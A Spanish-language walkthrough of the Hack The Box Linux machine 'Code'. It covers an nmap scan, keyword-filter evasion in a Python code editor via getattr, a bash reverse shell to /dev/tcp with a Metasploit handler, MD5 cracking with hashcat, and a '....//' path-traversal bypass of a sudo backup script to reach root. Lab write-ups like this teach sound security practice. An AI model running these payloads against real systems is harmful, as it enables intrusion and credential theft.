Entrada

Code

Code

Code Linux · Easy

Task 1

How many open TCP ports are listening on Code?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(pmartinezr㉿kali)-[~]
└─$ nmap -p- -sCVS -T 5 --min-rate 5000 10.129.231.240
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-22 17:26 CET
Warning: 10.129.231.240 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.129.231.240
Host is up (0.049s latency).
Not shown: 65044 closed tcp ports (reset), 489 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.62 seconds

2

Task 2

What is the title of the web application running on port 5000?

Si abrimos el navegador en la dirección http://10.129.231.240:5000/ encontramos una aplicación web. Esta aplicación parece que está pensada para ejecutar código Python, tiene dos botones uno run y otro save.

Aparte tenemos un menú con información.

1
Register Login About 

El about explica que hace la web

1
2
3
About Code

Welcome to Code, your go-to Python code editor! Code is designed to provide a seamless and intuitive experience for writing and running Python code directly in your browser. 

El título de la página es Python Code Editor

Python Code Editor

Task 3

What user is the web app running as?

Lo primero que se nos va a ocurrir es intentar ejecutar algún comando del sistema, si lo conseguimos entonces debería existir un RCE y por lo tanto es vulnerable.

1
2
3
import os
os.system("ls")
print("Hello, world!")

Así que lo primero que intenté fue ejecutar un ls para ver si se ejecuta. Sin embargo obtienes el siguiente mensaje

Use of restricted keywords is not allowed.

Por lo visto esta web es capaz de dtectar ciertas palabras e impedir que se ejecute el código que la contiene. Sin embargo para mi esto no es una barrera, pues se bien que podemos hacer código ilegible a primera vista que se ejecute igualmente Hay varias maneras. En Python podemos jugar con getattr

1
2
test = getattr(print.__self__,'__imp'+'ort__')('o'+'s')
print(getattr(test, 'sys'+'tem')('whoami'))

Después de jugar un buen rato consigo ver que no da error y si un 0, esto confirma la teoría de que efectivametne está ejecutándose, pero necesito alguna prueba.

1
2
test = getattr(print.__self__,'__imp'+'ort__')('o'+'s')
print(getattr(test, 'sys'+'tem')('ping -c 1 10.10.14.110'))

Se me ocurrió esta sencilla solución de mandar un ping

1
2
3
4
5
6
┌──(pmartinezr㉿kali)-[~/htb/code/sstimap]
└─$ sudo tcpdump -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
18:22:19.113945 IP 10.129.231.240 > 10.10.14.110: ICMP echo request, id 1, seq 49, length 64
18:22:19.113969 IP 10.10.14.110 > 10.129.231.240: ICMP echo reply, id 1, seq 49, length 64

Con tcpdumpcompruebo que efectivamente esto parece un RCE. Si tenemos RCE ya solo falta enganchar una shell

1
2
test = getattr(print.__self__,'__imp'+'ort__')('o'+'s')
print(getattr(test, 'sys'+'tem')('bash -c "bash -i >& /dev/tcp/10.10.14.110/4444 0>&1"'))

Desde la web insertamos el payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.110:4444 
[*] Command shell session 1 opened (10.10.14.110:4444 -> 10.129.231.240:55994) at 2025-12-22 18:38:13 +0100


Shell Banner:
bash: cannot set terminal process group (1564): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$
-----
          

app-production@code:~/app$ pwd
pwd
/home/app-production/app
app-production@code:~/app$ whoami
whoami
app-production

Y con metasploit podemos usar el módulo de multi/handler para sacar una bash shell

app-production

Submit the flag located in the app-production user’s home directory.

app-production@code:~$ cat user.txt cat user.txt fea2fa82c95dd2e3d362cfc9acccf24f

fea2fa82c95dd2e3d362cfc9acccf24f

Task 5

What is the full path to the web applications’s database file?

/home/app-production/app/instance7databse.db

Task 6

What is the password for the martin user?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
app-production@code:~/app/instance$ strings database.db
strings database.db
SQLite format 3
tablecodecode
CREATE TABLE code (
        id INTEGER NOT NULL, 
        user_id INTEGER NOT NULL, 
        code TEXT NOT NULL, 
        name VARCHAR(100) NOT NULL, 
        PRIMARY KEY (id), 
        FOREIGN KEY(user_id) REFERENCES user (id)
7tableuseruser
CREATE TABLE user (
        id INTEGER NOT NULL, 
        username VARCHAR(80) NOT NULL, 
        password VARCHAR(80) NOT NULL, 
        PRIMARY KEY (id), 
        UNIQUE (username)
indexsqlite_autoindex_user_1user
Mmartin3de6f30c4a09c27fc71932bfc68474be/
#Mdevelopment759b74ce43947f5f4c91aeddc3e5bad3
martin
#       development
print("Functionality test")Test

strings un comando muy útil.

1
2
3
4
┌──(pmartinezr㉿kali)-[~/htb/code/sstimap]
└─$ hashcat -m 0  "3de6f30c4a09c27fc71932bfc68474be" /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster   

La password se encuentra en el diccionario rockyou.txt

nafeelswordsmaster

Task 7

What is the full path of the script that martin can run as any user without providing a password?

1
2
3
4
5
6
7
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

Task 8

Is it possible to backup files outside of /var/ and /home/ using backy.sh?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi


json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

yes

Submit the flag located in the root user’s home directory.

1
2
3
4
5
6
7
8
9
martin@code:~/backups$ cat task2.json 
{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": false,
  "directories_to_archive": [
    "/home/....//root"
  ],
}

Por un lado el script se carga las rutas para evitar el transversal path, haciendo uso de gsub, pero si añadimos más de lo necesario solo lo va a realizar una vez por lo que usaremos /home/....//root así cuando el script nos retire ../ seguirá quedando


Hago una copia para trabajar con el archivo json. Para que esto funcione hay que cargarse la parte ```exclude``` pues parece que también interfiere. Aunque solo es una teoría, el caso es que a mi me funcionó no me paré a analizar el por qué.  

``` shell
"exclude": [
                ".*"
        ]

Eliminada esta parte del json si parece que funcione y puedo continuar.

1
tar -xf code_home_.._root_2025_December.tar.bz2

Luego descomprimimos el archivo que nos genera

1
2
martin@code:~/backups/root$ cat root.txt 
3385a98471d0844e5070985512100691

3385a98471d0844e5070985512100691

achivement

Nota: HTB no es perfecto, pueden aparecer pequeños “bug”.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.